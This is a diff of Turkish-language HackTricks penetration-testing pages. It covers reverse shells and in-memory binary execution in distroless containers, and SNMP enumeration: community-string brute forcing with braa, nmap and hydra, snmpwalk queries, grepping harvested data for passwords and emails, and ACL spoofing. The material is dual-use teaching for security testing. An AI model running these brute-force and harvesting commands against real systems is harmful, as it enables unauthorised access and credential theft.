[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmaz, sadece memexec shellcode'unu DDexec tekniği aracılığıyla çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz.
PHP ters kabuk kullanarak **memexec'i kullanmanın bir örneğini** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulabilirsiniz.
PHP ters kabuk kullanarak **memexec'i nasıl kullanacağınıza dair bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir.
### Memdlopen
@ -108,24 +108,24 @@ Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak kont
Distroless konteynerlerde genellikle düzenli bir kabuk almak için `sh` veya `bash` bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız.
{% hint style="warning" %}
Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk alamayacak** veya **sistemde numaralandıramayacaksınız**.
Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandırma** yapamayacaksınız.
{% endhint %}
Ancak, ele geçirilen konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalıştırıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şekilde çoğu **betik dili** ile yapabilirsiniz.
Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şekilde çoğu **betik dili** ile yapabilirsiniz.
{% hint style="success" %}
Betik dili kullanarak dilin yeteneklerini kullanarak **sistemi numaralandırabilirsiniz**.
Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırma yapabilirsiniz**.
{% endhint %}
Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak **ikili dosyalarınızı dosya sistemine yazabilir** ve **çalıştırabilirsiniz**.
{% hint style="success" %}
Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
Ancak, bu tür konteynerlerde genellikle bu korumalar bulunur, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
{% endhint %}
**RCE zafiyetlerini kullanarak betik dilleri ile ters kabuk almak ve bellekten ikili dosyaları çalıştırmak** için **örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
**RCE güvenlik açıklarını kullanarak betik dilleri ile ters kabuk almak ve bellekten ikili dosyaları çalıştırmak** için **örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -139,8 +139,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR'lar göndererek destek olun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@ -28,26 +28,26 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
SNMP ayrıca **tuzaklar** için **162/UDP** bağlantı noktasını da kullanır. Bunlar, **SNMP sunucusundan istekte bulunulmadan istemciye gönderilen veri paketleridir**.
SNMP ayrıca **tuzaklar** için **162/UDP** bağlantı noktasını da kullanır. Bunlar, **SNMP sunucusundan istemciye istekte bulunulmadan gönderilen veri paketleridir**.
{% endhint %}
### MIB
SNMP erişiminin farklı üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, cihaz bilgilerini depolamak için **bağımsız bir formattır**. MIB, tüm sorgulanabilir **SNMP nesnelerinin** bir cihazda **standartlaştırılmış** ağaç hiyerarşisinde listelendiği bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir ve gerekli **benzersiz adresin yanı sıra bir isim**, ayrıca ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve nasıl görüneceğini açıklar, belirli OID'ler için dönüş değerlerini veya hangi veri türünün kullanıldığını belirtir.
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve nasıl görüneceğini açıklar, belirli OID'ler için değerleri döndürür veya hangi veri türünün kullanıldığını belirtir.
### OIDs
**Nesne Tanımlayıcılar (OID'ler)** önemli bir rol oynar. Bu benzersiz tanımlayıcılar, bir **Yönetim Bilgi Tabanı (MIB)** içindeki nesneleri yönetmek için tasarlanmıştır.
MIB nesne kimliklerinin en üst seviyeleri, çeşitli standart belirleme kuruluşlarına tahsis edilmiştir. Küresel yönetim uygulamaları ve standartlar için çerçeve bu üst seviyelerde oluşturulur.
MIB nesne kimliklerinin en üst seviyeleri, çeşitli standart belirleme kuruluşlarına tahsis edilmiştir. Küresel yönetim uygulamaları ve standartlar çerçevesi bu üst seviyelerde oluşturulur.
Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilir. Bu dallar içinde, kendi ürün hatlarıyla ilgili yönetilen nesneleri eklemek için **özerklikleri vardır**. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlamak ve yönetmek için yapılandırılmış ve düzenli bir yöntem olduğunu sağlar.
Ayrıca, satıcılar özel dallar oluşturma özgürlüğüne sahiptir. Bu dallar içinde, kendi ürün hatlarıyla ilgili yönetilen nesneleri eklemek için **özerklikleri vardır**. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlamak ve yönetmek için yapılandırılmış ve düzenli bir yöntem olduğunu sağlar.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Bir **OID ağacı** üzerinde **gezebilirsiniz** buradan: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya bir OID'nin ne anlama geldiğini görebilirsiniz (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içindeki gibi **tanınmış OID'ler** bulunmaktadır, bu, MIB-2 tarafından tanımlanan Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine referans verir. Ve bu OID'lerden **elde edilen bazı ilginç ana bilgisayar verilerini** (sistem verileri, ağ verileri, işlem verileri...) alabilirsiniz.
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içindeki gibi **tanınmış OID'ler** bulunmaktadır, bu, MIB-2 tarafından tanımlanan Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine referans verir. Ve bu OID'lerden **elde edilen** bazı ilginç ana bilgisayar verilerini (sistem verileri, ağ verileri, işlem verileri...) alabilirsiniz.
### **OID Örneği**
@ -57,30 +57,30 @@ Bir **OID ağacı** üzerinde **gezebilirsiniz** buradan: [http://www.oid-info.c
Bu adresin ayrıntıları şöyle:
* 1 Bu ISO olarak adlandırılır ve bu bir OID olduğunu belirler. Bu nedenle, tüm OID'ler "1" ile başlar.
* 3 Bu ORG olarak adlandırılır ve cihazı kuran organizasyonu belirtmek için kullanılır.
* 6 Bu dod veya Savunma Bakanlığıdır ve İnternet'i ilk kez kuran organizasyondur.
* 1 Bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir.
* 4 Bu değer, bu cihazın bir devlet kurumu değil, özel bir kuruluş tarafından yapıldığını belirler.
* 1 Bu değer, cihazın bir işletme veya işletme varlığı tarafından yapıldığını belirtir.
* 1 bu ISO olarak adlandırılır ve bu bir OID olduğunu belirtir. Bu nedenle, tüm OID'ler "1" ile başlar.
* 3 bu ORG olarak adlandırılır ve cihazı kuran organizasyonu belirtmek için kullanılır.
* 6 bu dod veya Savunma Bakanlığıdır ve İnternet'i ilk kuran organizasyondur.
* 1 bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için İnternet değeridir.
* 4 bu değer, bu cihazın devlet kuruluşu değil özel bir kuruluş tarafından yapıldığını belirler.
* 1 bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir.
Bu ilk altı değer genellikle tüm cihazlar için aynı olma eğilimindedir ve temel bilgileri verir. Bu sayı dizisi, cihazlar için tüm OID'ler için aynı olacaktır, ancak cihaz devlet tarafından yapıldığında farklı olabilir.
Bu ilk altı değer genellikle tüm cihazlar için aynı olma eğilimindedir ve temel bilgileri verir. Bu sayı dizisi, cihazlar için tüm OID'ler için aynı olacaktır, cihaz devlet tarafından yapılmadığı sürece.
Sonraki sayılar dizisine geçelim.
* 1452 Bu cihazı üreten organizasyonun adını verir.
* 1 Cihazın türünü açıklar. Bu durumda, bir alarm saati.
* 2 Bu cihazın bir uzak terminal ünitesi olduğunu belirler.
* 1452 bu cihazı üreten organizasyonun adını verir.
* 1 cihazın türünü açıklar. Bu durumda, bir alarm saati.
* 2 bu cihazın bir uzak terminal ünitesi olduğunu belirler.
Gerisi, cihaz hakkında belirli bilgiler verir.
Kalan değerler cihaz hakkında belirli bilgiler verir.
* 5 Belirli bir alarm noktasını belirtir.
* 1 Cihazdaki belirli nokta
* 3 Port
* 21 Portun adresi
* 1 Port için ekran
* 4 Nokta numarası
* 7 Noktanın durumu
* 5 ayrık bir alarm noktasını belirtir.
* 1 cihazdaki belirli nokta
* 3 bağlantı noktası
* 21 bağlantı noktasının adresi
* 1 bağlantı noktası için ekran
* 4 nokta numarası
* 7 noktanın durumu
### SNMP Sürümleri
@ -89,18 +89,18 @@ SNMP'nin 2 önemli sürümü vardır:
* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye dayanır** (topluluk dizesi) ve **tüm bilgiler düz metin olarak iletilir**. **Sürüm 2 ve 2c** de **trafik düz metin olarak** gönderilir ve **kimlik doğrulaması için bir topluluk dizesi kullanılır**.
* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgi, **şifrelenmiş** olarak iletilir (**sözlük saldırısı** gerçekleştirilebilir ancak doğru kimlik bilgilerini bulmak SNMPv1 ve v2'den daha zor olacaktır).
### Topluluk Dizileri
### Topluluk Dizeleri
Daha önce belirtildiği gibi, **MIB'de kayıtlı bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te kimlik bilgilerini bilmelisiniz**.\
Daha önce belirtildiği gibi, **MIB'de kayıtlı bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini ve sürüm 3'te kimlik bilgilerini bilmelisiniz**.\
**2 tür topluluk dizesi** vardır:
* **`public`** genellikle **salt okunur** işlevler
* **`private`** genelde **Oku/Yaz** işlevi görür
* **`public`** genellikle **salt okuma** işlevleri
* **`private`** genellikle **Okuma/Yazma** işlevleri
Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır, bu nedenle **"public"** kullanıldığını bulsanız bile, **bazı değerleri yazabilirsiniz**. Ayrıca, **her zaman "Salt Okunur"** olan nesneler olabilir.\
Bir nesneyi **yazmaya** çalışırsanız **`noSuchName` veya `readOnly` hatası** alırsınız.
Bir nesneyi **yazmaya** çalışırsanız **`noSuchName` veya `readOnly` hatası** alırsınız\*\*.\*\*
Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız sunucu **yanıt vermeyecektir**. Bu nedenle, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
Sürüm 1 ve 2/2c'de kötü bir topluluk dizesi kullanırsanız sunucu **yanıt vermez**. Bu nedenle, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
## Bağlantı Noktaları
@ -112,11 +112,11 @@ Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız sunucu **yan
## Kaba Kuvvet Topluluk Dizesi (v1 ve v2c)
Topluluk dizesini **tahmin etmek** için bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı **kaba kuvvet saldırısı** yapmanın farklı yolları için [buraya](../../generic-methodologies-and-resources/brute-force.md#snmp) bakın. Sıkça kullanılan bir topluluk dizesi `public`dir.
Topluluk dizesini **tahmin etmek** için bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı kaba kuvvet saldırısı yapmanın farklı yolları için [buraya](../../generic-methodologies-and-resources/brute-force.md#snmp) bakın. Sıkça kullanılan bir topluluk dizesi `public`dir.
## SNMP Numaralandırma
Her bir OID'nin cihazdan toplanan **her OID'nin ne anlama geldiğini görmek için aşağıdakileri yüklemeniz önerilir**:
Cihazdan toplanan **her OID'nin ne anlama geldiğini görmek için aşağıdakileri yüklemeniz önerilir**:
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -139,7 +139,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
Uzatılmış sorgular (download-mibs) sayesinde aşağıdaki komutla sistem hakkında daha fazla bilgi sıralamak mümkündür:
Uzatılmış sorgular (download-mibs) sayesinde, aşağıdaki komutla sistem hakkında daha fazla bilgi sıralamak mümkündür:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@ -147,30 +147,30 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### **Tehlikeli Ayarlar**
Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izleme ve kontrol sağlamak için önemlidir.
Ağ yönetimi alanında, kapsamlı izleme ve kontrol sağlamak için belirli yapılandırmalar ve parametreler önemlidir.
### Erişim Ayarları
Ağ yönetiminde, tam OID ağacına erişimi sağlayan iki ana ayar bulunmaktadır:
Ağ yönetiminde, tam OID ağacına erişimi sağlayan iki ana ayar vardır:
1. **`rwuser noauth`**, kimlik doğrulama gerektirmeksizin OID ağacına tam erişime izin vermek için ayarlanmıştır. Bu ayar basittir ve kısıtlamasız erişime olanak tanır.
2. Daha spesifik kontrol için erişim, şu şekilde sağlanabilir:
* **`rwcommunity`** IPv4 adresleri için ve
* **`rwcommunity6`** IPv6 adresleri için.
* **`rwcommunity`** için **IPv4** adresleri ve
* **`rwcommunity6`** için **IPv6** adresleri.
Her iki komut da ilgili IP adresi ve ilgili topluluk dizesini gerektirir, isteğin kaynağından bağımsız olarak tam erişim sağlar.
Her iki komut da bir **topluluk dizesi** ve ilgili IP adresini gerektirir, isteğin kaynağına bakılmaksızın tam erişim sağlar.
### Microsoft Windows İçin SNMP Parametreleri
Windows sisteminin çeşitli yönlerini izlemek için SNMP aracılığıyla kullanılan bir dizi **Yönetim Bilgi Tabanı (MIB) değeri** bulunmaktadır:
* **Sistem İşlemleri**: `1.3.6.1.2.1.25.1.6.0` üzerinden erişilen bu parametre, sistemdeki etkin işlemlerin izlenmesine olanak tanır.
* **Sistem İşlemleri**: `1.3.6.1.2.1.25.1.6.0` üzerinden erişilen bu parametre, sistemdeki aktif işlemlerin izlenmesine olanak tanır.
* **Çalışan Programlar**: `1.3.6.1.2.1.25.4.2.1.2` değeri, şu anda çalışan programların izlenmesi için belirlenmiştir.
* **İşlem Yolu**: Bir işlemin nereden çalıştığını belirlemek için `1.3.6.1.2.1.25.4.2.1.4` MIB değeri kullanılır.
* **Depolama Birimleri**: Depolama birimlerinin izlenmesi, `1.3.6.1.2.1.25.2.3.1.4` ile kolaylaştırılır.
* **Yazılım Adı**: Bir sistemde yüklü yazılımları tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır.
* **Kullanıcı Hesapları**: `1.3.6.1.4.1.77.1.2.25` değeri, kullanıcı hesaplarının izlenmesine olanak tanır.
* **TCP Yerel Portlar**: Son olarak, `1.3.6.1.2.1.6.13.1.3` TCP yerel portlarının izlenmesi için belirlenmiştir, aktif ağ bağlantıları hakkında bilgi sağlar.
* **TCP Yerel Portlar**: Son olarak, TCP yerel portların izlenmesi için `1.3.6.1.2.1.6.13.1.3` belirlenmiştir ve aktif ağ bağlantıları hakkında bilgi sağlar.
### Cisco
@ -182,7 +182,7 @@ Eğer Cisco ekipmanına sahipseniz, bu sayfaya göz atın:
## SNMP'den RCE'ye
Eğer SNMP servisi içinde **değer yazmanıza izin veren dizeye** sahipseniz, bunu **komutları yürütmek** için kötüye kullanabilirsiniz:
Eğer SNMP servisi içinde **değer yazmaya izin veren dizeye** sahipseniz, bunu **komutları yürütmek** için kötüye kullanabilirsiniz:
{% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md)
@ -190,17 +190,17 @@ Eğer SNMP servisi içinde **değer yazmanıza izin veren dizeye** sahipseniz, b
## **Kapsamlı SNMP**
[Braa ](https://github.com/mteg/braa)kütle halinde SNMP taraması yapan bir araçtır. Bu tür bir aracın amaçlanan kullanımı elbette SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk gibi onlarca veya yüzlerce ana bilgisayara aynı anda ve tek bir işlemde sorgu yapabilir ve bu nedenle çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
[Braa ](https://github.com/mteg/braa), kapsamlı bir SNMP tarayıcıdır. Bu tür bir aracın amaçlanan kullanımı elbette SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk'ın aksine, onlarca veya yüzlerce ana bilgisayara aynı anda sorgu yapabilir ve tek bir işlemde yapabilir. Bu nedenle çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
Braa kendi SNMP yığını uygular, bu nedenle net-snmp gibi SNMP kütüphanelerine ihtiyaç duymaz.
Braa, kendi SNMP yığını uygular, bu nedenle net-snmp gibi SNMP kütüphanelerine ihtiyaç duymaz.
**Sözdizimi:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP adresi]:\[iso kimliği]
**Syntax:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP adresi]:\[iso kimliği]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
Bu, manuel olarak işleyemeyeceğiniz birçok MB bilgi çıkarabilir.
Bu yüzden, en ilginç bilgileri arayalım ([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
Bu nedenle, en ilginç bilgileri arayalım ([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
### **Cihazlar**
@ -210,19 +210,19 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Özel Dizeyi Tanımlama**
Örgütler tarafından özellikle Cisco IOS yönlendiricilerinde kullanılan **özel topluluk dizesinin** belirlenmesi önemli bir adımdır. Bu dize, yönlendiricilerden **çalışan yapılandırmaların** çıkarılmasını sağlar. Tanımlama genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bir **grep komutunu** içerir:
Özellikle Cisco IOS yönlendiricilerinde kullanılan **özel topluluk dizesini** tanımlamak önemli bir adımdır. Bu dize, yönlendiricilerden **çalışan yapılandırmaların** çıkarılmasını sağlar. Tanımlama genellikle bir **grep komutu** ile SNMP Tuzak verilerini "tuzak" kelimesi için analiz etmeye dayanır:
```bash
grep -i "trap" *.snmp
```
### **Kullanıcı Adları/Şifreler**
MIB tablolarında saklanan günlükler, **başarısız giriş denemeleri** için incelenir, bu da yanlışlıkla kullanıcı adı olarak girilen şifreleri içerebilir. Değerli verileri bulmak için _fail_, _failed_ veya _login_ gibi anahtar kelimeler aranır:
MIB tablolarında saklanan günlükler, yanlış giriş denemeleri için incelenir, bu yanlışlıkla kullanıcı adı olarak girilen şifreleri içerebilir. Değerli verileri bulmak için _fail_, _failed_ veya _login_ gibi anahtar kelimeler aranır:
```bash
grep -i "login\|fail" *.snmp
```
### **E-postalar**
Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarına uyan desenlere odaklanan bir düzenli ifade ile bir **grep komutu** kullanılır:
Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarına uyan desenlere odaklanan bir **grep komutu** ve düzenli ifade kullanılır:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
@ -230,19 +230,19 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Değerleri **değiştirmek** için _**NetScanTools**_ kullanabilirsiniz. Bunu yapabilmek için **özel dizeyi** bilmelisiniz.
## Sahtecilik
## Spoofing
Eğer yalnızca bazı IP'lerin SMNP servisine sorgu yapmasına izin veren bir ACL varsa, bu adreslerden birini UDP paketi içinde sahteleme yapabilir ve trafiği dinleyebilirsiniz.
Eğer yalnızca belirli IP'lerin SMNP servisine sorgu yapmasına izin veren bir ACL varsa, bu adreslerden birini UDP paketi içinde sahtecilik yapabilir ve trafiği dinleyebilirsiniz.
## SNMP Yapılandırma dosyalarını incele
## SNMP Yapılandırma dosyalarını inceleyin
* snmp.conf
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -284,14 +284,14 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -8,19 +8,19 @@
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulan gereklidir_).
